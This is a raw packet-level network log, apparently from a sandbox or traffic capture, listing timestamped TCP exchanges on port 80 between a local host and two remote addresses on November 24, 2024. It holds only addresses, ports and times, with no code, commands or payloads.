Nov 24, 2024 14:24:41.726227045 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.726587057 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.726628065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.726694107 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.726737022 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.727560043 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.727674007 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.727714062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.727996111 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.728127003 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.728444099 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.728518963 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.728537083 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.728568077 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.728568077 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.729403973 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.729473114 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.729528904 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.730315924 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.730353117 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.730412006 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.730453968 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.731184959 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.731309891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.731358051 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.732141018 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.732187033 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.732239962 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.732280970 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.733040094 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.733112097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.733166933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.733208895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.733978987 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.734025002 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.734126091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.734167099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.734889984 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.734930992 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.734985113 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.735023975 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.735809088 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.735913992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.735954046 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.736752987 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.736800909 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.736851931 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.736896038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.737685919 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.737730026 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.737811089 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.737854004 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.738558054 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.738600016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.738672018 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.738713026 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.739484072 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.739562035 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.739574909 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.739612103 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.739638090 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.739643097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.740418911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.740467072 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.740475893 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.740489006 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.740518093 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.741496086 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.741538048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.741708994 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.741753101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.742257118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.742301941 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.742363930 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.742405891 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.743176937 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.743282080 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.743329048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.744200945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.744244099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.744307041 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.744352102 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.745059013 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.745100021 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.745183945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.745219946 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.745959044 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.745999098 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.746052027 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.746094942 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.746896029 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.746946096 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.746978045 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.747021914 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.747814894 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.747960091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.748013973 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.748733997 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.748778105 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.748892069 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.748934031 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.749730110 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.749772072 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.749830961 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.749871016 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.750582933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.750639915 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.750669956 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.750710011 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.751507998 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.751539946 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.751584053 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.752422094 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.752464056 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.752525091 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.752563953 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.753357887 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.753396988 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.753432989 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.753472090 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.754247904 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.754287958 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.754379034 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.754419088 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.755182028 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.755238056 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.755300045 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.755465984 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.781745911 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.811240911 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.811256886 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.811328888 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.812067032 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.812155008 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.812244892 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.837558985 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.837579966 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.837658882 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.853817940 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.853941917 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.854011059 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.854685068 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.896991014 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.897114038 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.897191048 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.897938967 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.897994995 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.898000002 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.917671919 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.917720079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.917737007 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.917835951 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.917865992 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.917910099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.918288946 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.918346882 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.918540001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.918586969 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.918600082 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.918638945 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.919409037 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.919462919 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.919481039 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.919528008 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.920427084 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.920506954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.920551062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.921231031 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.921278954 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.921349049 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.921390057 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.922157049 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.922197104 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.922271967 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.922339916 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.923178911 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.923212051 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.923247099 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.923259974 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.924009085 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.924053907 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.924272060 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.924319983 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.924990892 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.925061941 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.925075054 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.925098896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.925990105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.926003933 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.926053047 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.926084995 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.926775932 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.926819086 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.926865101 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.926928043 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.927705050 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.927771091 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.927809954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.927846909 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.928644896 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.928689957 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.928774118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.928827047 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.929773092 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.929862022 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.929898024 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.929908991 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.930524111 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.930605888 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.930639029 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.930735111 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.931402922 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.931459904 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.931540966 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.931602001 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.932339907 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.932413101 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.932468891 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.932518959 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.933238983 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.933377981 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.933381081 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.933445930 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.934211016 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.934286118 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.934320927 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.934367895 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.935090065 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.935193062 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.935229063 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.935281038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.936054945 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.936109066 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.936186075 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.936312914 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.936973095 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.937022924 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.937067032 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.937139034 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.937880039 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.937949896 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.937987089 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.938030958 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.938797951 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.938852072 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.938915014 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.938963890 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.939665079 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.939722061 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.939742088 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.939759970 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.939795017 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.939805984 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.939835072 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.940696001 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.940751076 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.940784931 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.940802097 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.940823078 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.940840960 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.941545963 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.941601038 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.941675901 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.941730976 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.942488909 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.942548990 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.942662954 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.942785025 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.943391085 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.943444014 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.943511009 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.943738937 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.944339991 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.944413900 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.944494009 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.944555044 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.945210934 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.945260048 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.945322990 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.945378065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.946150064 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.946291924 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.946296930 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.946422100 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.947087049 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.947146893 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.947222948 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.947271109 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.948030949 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.948086977 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.948211908 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.948286057 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.948930979 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.948997021 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.949067116 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.949168921 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.949846029 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.949965954 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.949975967 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.950023890 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.950778008 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.950834036 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.950927019 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.950973988 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.951702118 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.951747894 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.951811075 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.951925993 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.952606916 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.952661037 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.952688932 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.952727079 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.953531981 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.953594923 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.953600883 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.953644037 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.954446077 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.954544067 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.954579115 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.954627037 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.955380917 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.955463886 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.955490112 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.955516100 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.956310987 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.956382036 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.956491947 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.956528902 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.956547976 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.956564903 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.956604004 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.957217932 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.957282066 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.957451105 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.957485914 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:41.957509041 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.957547903 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:41.958142042 CET	80	49838	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:41.958229065 CET	49838	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:41.958257914 CET	80	49838	185.215.113.16	192.168.2.4
